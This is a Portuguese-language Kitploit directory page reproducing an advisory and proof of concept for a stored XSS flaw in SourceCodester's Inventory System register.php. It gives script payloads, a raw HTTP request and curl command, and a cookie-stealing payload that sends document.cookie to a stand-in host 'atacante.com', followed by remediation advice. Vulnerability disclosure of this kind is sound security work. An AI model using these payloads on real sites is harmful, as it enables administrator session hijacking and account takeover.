Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-11518-XSS — Prova de conceito para XSS armazenado não autenticado no Sistema de Inventário SourceCodester, demonstrando sequestro de sessão de administrador via payloads de registro elaborados. | Kitploit
Ferramentas/GitHubGitHub/xmyronn/cve-2026-11518-xss
Análise de VulnerabilidadesExploração de Aplicações WebSegurança WebCTFTestes de PenetraçãoAprendizado e Educação
GitHubxmyronn/cve-2026-11518-xss

CVE-2026-11518-XSS

Prova de conceito para XSS armazenado não autenticado no Sistema de Inventário SourceCodester, demonstrando sequestro de sessão de administrador via payloads de registro elaborados.

Ver Repositório
13há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Stored XSS no Sistema de Inventário usando PHP e MySQL

Detalhes da Vulnerabilidade

CampoDetalhes
Tipo de VulnerabilidadeStored Cross-Site Scripting (XSS)
Aplicação AfetadaInventory System using PHP and MySQL
FornecedorSourceCodester
Versão Afetada1.0
Ficheiro Afetadoregister.php
Parâmetrosfullname, username
Autenticação NecessáriaNão (não autenticado)
ImpactoSequestro de sessão do administrador, execução de script malicioso no painel de administração
Pontuação CVSS8.8 (Alta)
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Descrição

O Inventory System using PHP and MySQL da SourceCodester (submetido em 23 de maio de 2026) é vulnerável a Stored Cross-Site Scripting (XSS) não autenticado no módulo de Registo de Funcionários (register.php).

Os campos de entrada fullname e username não sanitizam nem codificam a entrada fornecida pelo utilizador antes de a armazenar na base de dados. Quando um administrador visita a página de Gestão de Utilizadores (users.php), os payloads não sanitizados são renderizados diretamente no contexto HTML, causando execução imediata de JavaScript na sessão do navegador do administrador.

Como o registo não requer autenticação, um atacante remoto e não autenticado pode injetar JavaScript arbitrário que será executado no contexto de qualquer administrador que visualize o painel de Gestão de Utilizadores.


Cenário de Ataque

  1. O atacante visita /product_inventory/register.php — sem necessidade de login.
  2. O atacante submete um payload malicioso nos campos fullname e/ou username.
  3. O payload é armazenado na base de dados sem sanitização.
  4. Quando o administrador faz login e navega para /product_inventory/users.php, o payload é executado automaticamente no navegador do administrador.
  5. O atacante pode roubar o cookie de sessão do administrador, redirecioná-lo para uma página de phishing ou executar qualquer ação em nome do administrador.

Prova de Conceito

Passo 1 — Navegar até à Página de Registo (Sem Autenticação)

root@kitploit:~
http://<ALVO>/product_inventory/register.php

Passo 2 — Submeter o Seguinte Formulário de Registo

Campo Nome Completo (Full Name) com payload:

root@kitploit:~
<script>alert(1)</script>

Campo Nome de Utilizador (Username) com payload:

root@kitploit:~
<script>alert(2)</script>

Password: qualquer valor (ex.: test1234)

Passo 3 — Pedido HTTP (Burp Suite / curl)

root@kitploit:~
POST /product_inventory/register.php HTTP/1.1
Host: <ALVO>
Content-Type: application/x-www-form-urlencoded

fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=

Equivalente em curl:

root@kitploit:~
curl -X POST "http://<ALVO>/product_inventory/register.php" \
  -d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="

Passo 4 — Acionar como Administrador

Faça login como administrador e navegue para:

root@kitploit:~
http://<ALVO>/product_inventory/users.php

Ambos os payloads são executados imediatamente ao carregar a página.


Impacto

Um atacante não autenticado pode:

  • Roubar cookies de sessão do administrador — escalando para a tomada total da conta de administrador
  • Redirecionar o administrador para páginas de phishing
  • Executar ações de nível administrativo silenciosamente via JavaScript (criar/eliminar utilizadores, manipular inventário)
  • Implantar um keylogger persistente no painel de administração
  • Desfigurar a interface de administração

Exemplo de payload para roubo de cookie de sessão (substituir pelo servidor do atacante):

root@kitploit:~
<script>document.location='http://atacante.com/roubar?c='+document.cookie</script>

Capturas de Ecrã

Passo 1 — Injetar Payloads no Formulário de Registo

Screenshot 2026-05-24 051430

Passo 2 — XSS Dispara no users.php do Administrador

Screenshot 2026-05-24 051452

Código Afetado (Causa Raiz)

A vulnerabilidade existe porque o register.php insere a entrada do utilizador diretamente na base de dados sem sanitização, e o users.php exibe os valores armazenados sem codificação htmlspecialchars().

Padrão vulnerável em users.php (aproximado):

root@kitploit:~
// Inseguro — exibe o valor bruto da base de dados diretamente no HTML
echo $row['fullname'];
echo $row['username'];

Correção — aplicar codificação na saída:

root@kitploit:~
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');

Além disso, a entrada deve ser sanitizada na inserção no register.php usando strip_tags() ou declarações preparadas com validação adequada.


Remediação

  1. Codificar toda a saída usando htmlspecialchars() com ENT_QUOTES antes de renderizar dados fornecidos pelo utilizador no HTML.
  2. Validar e sanitizar todos os campos de entrada no lado do servidor no ponto de entrada.
  3. Implementar um cabeçalho Content Security Policy (CSP) para mitigar o impacto de XSS.

Referências

  • SourceCodester — Inventory System using PHP and MySQL

Relatado por Syed Imad Uddin Alvi — Investigador de Segurança Independente

Baixar ferramenta